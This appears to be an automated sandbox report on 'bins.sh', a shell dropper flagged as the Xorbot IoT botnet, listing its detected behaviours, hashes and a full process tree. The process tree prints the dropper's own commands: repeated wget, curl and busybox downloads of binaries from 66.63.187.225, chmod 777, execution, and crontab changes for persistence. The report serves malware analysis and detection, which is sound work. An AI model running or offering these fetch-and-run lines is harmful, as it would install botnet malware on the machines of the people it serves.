Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    160s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    12/01/2025, 22:29

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250112-2d749svmdp
  • SHA256 ea1efc35caa52612aef31c5bfa481c192a7fbee186fcdf3bc6e1ea7a2944cfbd
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1782) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:641
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:643
        • /usr/bin/wget
          wget http://66.63.187.225/bins/jiJ4Fa6TY6UbVDQy0jzarIcLHsQmdGOgsu
          2⤵
          • Writes file to tmp directory
          PID:645
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/jiJ4Fa6TY6UbVDQy0jzarIcLHsQmdGOgsu
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:670
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/jiJ4Fa6TY6UbVDQy0jzarIcLHsQmdGOgsu
          2⤵
          • Writes file to tmp directory
          PID:675
        • /bin/chmod
          chmod 777 jiJ4Fa6TY6UbVDQy0jzarIcLHsQmdGOgsu
          2⤵
          • File and Directory Permissions Modification
          PID:683
        • /tmp/jiJ4Fa6TY6UbVDQy0jzarIcLHsQmdGOgsu
          ./jiJ4Fa6TY6UbVDQy0jzarIcLHsQmdGOgsu
          2⤵
          • Executes dropped EXE
          PID:684
        • /bin/rm
          rm jiJ4Fa6TY6UbVDQy0jzarIcLHsQmdGOgsu
          2⤵
            PID:687
          • /usr/bin/wget
            wget http://66.63.187.225/bins/UZ4xQGSTOuLCGGi4S4IoPvOGHVVSmAb5Fo
            2⤵
            • Writes file to tmp directory
            PID:688
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/UZ4xQGSTOuLCGGi4S4IoPvOGHVVSmAb5Fo
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:707
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/UZ4xQGSTOuLCGGi4S4IoPvOGHVVSmAb5Fo
            2⤵
            • Writes file to tmp directory
            PID:725
          • /bin/chmod
            chmod 777 UZ4xQGSTOuLCGGi4S4IoPvOGHVVSmAb5Fo
            2⤵
            • File and Directory Permissions Modification
            PID:726
          • /tmp/UZ4xQGSTOuLCGGi4S4IoPvOGHVVSmAb5Fo
            ./UZ4xQGSTOuLCGGi4S4IoPvOGHVVSmAb5Fo
            2⤵
            • Executes dropped EXE
            PID:727
          • /bin/rm
            rm UZ4xQGSTOuLCGGi4S4IoPvOGHVVSmAb5Fo
            2⤵
              PID:729
            • /usr/bin/wget
              wget http://66.63.187.225/bins/UbpWsZ0U0wewMvjLl5PGZUzEBDrjvO2tqh
              2⤵
              • Writes file to tmp directory
              PID:730
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/UbpWsZ0U0wewMvjLl5PGZUzEBDrjvO2tqh
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:751
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/UbpWsZ0U0wewMvjLl5PGZUzEBDrjvO2tqh
              2⤵
              • Writes file to tmp directory
              PID:762
            • /bin/chmod
              chmod 777 UbpWsZ0U0wewMvjLl5PGZUzEBDrjvO2tqh
              2⤵
              • File and Directory Permissions Modification
              PID:763
            • /tmp/UbpWsZ0U0wewMvjLl5PGZUzEBDrjvO2tqh
              ./UbpWsZ0U0wewMvjLl5PGZUzEBDrjvO2tqh
              2⤵
              • Executes dropped EXE
              PID:764
            • /bin/rm
              rm UbpWsZ0U0wewMvjLl5PGZUzEBDrjvO2tqh
              2⤵
                PID:766
              • /usr/bin/wget
                wget http://66.63.187.225/bins/b4w5fM0KsDO9y5WHeaHv0N4ScuBkzfmOSs
                2⤵
                • Writes file to tmp directory
                PID:767
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/b4w5fM0KsDO9y5WHeaHv0N4ScuBkzfmOSs
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:768
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/b4w5fM0KsDO9y5WHeaHv0N4ScuBkzfmOSs
                2⤵
                • Writes file to tmp directory
                PID:771
              • /bin/chmod
                chmod 777 b4w5fM0KsDO9y5WHeaHv0N4ScuBkzfmOSs
                2⤵
                • File and Directory Permissions Modification
                PID:772
              • /tmp/b4w5fM0KsDO9y5WHeaHv0N4ScuBkzfmOSs
                ./b4w5fM0KsDO9y5WHeaHv0N4ScuBkzfmOSs
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:773
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:775
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:776
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:777
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:778
                    • /bin/rm
                      rm b4w5fM0KsDO9y5WHeaHv0N4ScuBkzfmOSs
                      2⤵
                        PID:780
                      • /usr/bin/wget
                        wget http://66.63.187.225/bins/60ZfzTsstrrTI1q3v9hVlCzf9DC6Fq2qEi
                        2⤵
                          PID:783

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            UZ4xQGSTOuLCGGi4S4IoPvOGHVVSmAb5Fo
                            • Path /tmp/UZ4xQGSTOuLCGGi4S4IoPvOGHVVSmAb5Fo
                            • Size 117KB
                            • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            UbpWsZ0U0wewMvjLl5PGZUzEBDrjvO2tqh
                            • Path /tmp/UbpWsZ0U0wewMvjLl5PGZUzEBDrjvO2tqh
                            • Size 112KB
                            • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            b4w5fM0KsDO9y5WHeaHv0N4ScuBkzfmOSs
                            • Path /tmp/b4w5fM0KsDO9y5WHeaHv0N4ScuBkzfmOSs
                            • Size 177KB
                            • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            jiJ4Fa6TY6UbVDQy0jzarIcLHsQmdGOgsu
                            • Path /tmp/jiJ4Fa6TY6UbVDQy0jzarIcLHsQmdGOgsu
                            • Size 107KB
                            • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            tmp.T1PQCb
                            • Path /var/spool/cron/crontabs/tmp.T1PQCb
                            • Size 210B
                            • SHA256 795707a65a7200d528b3b35631158a6b08653d6603c71e95afc6a0334ea3e48f
                            • MD5 SHA1 SHA512
                            Submit Download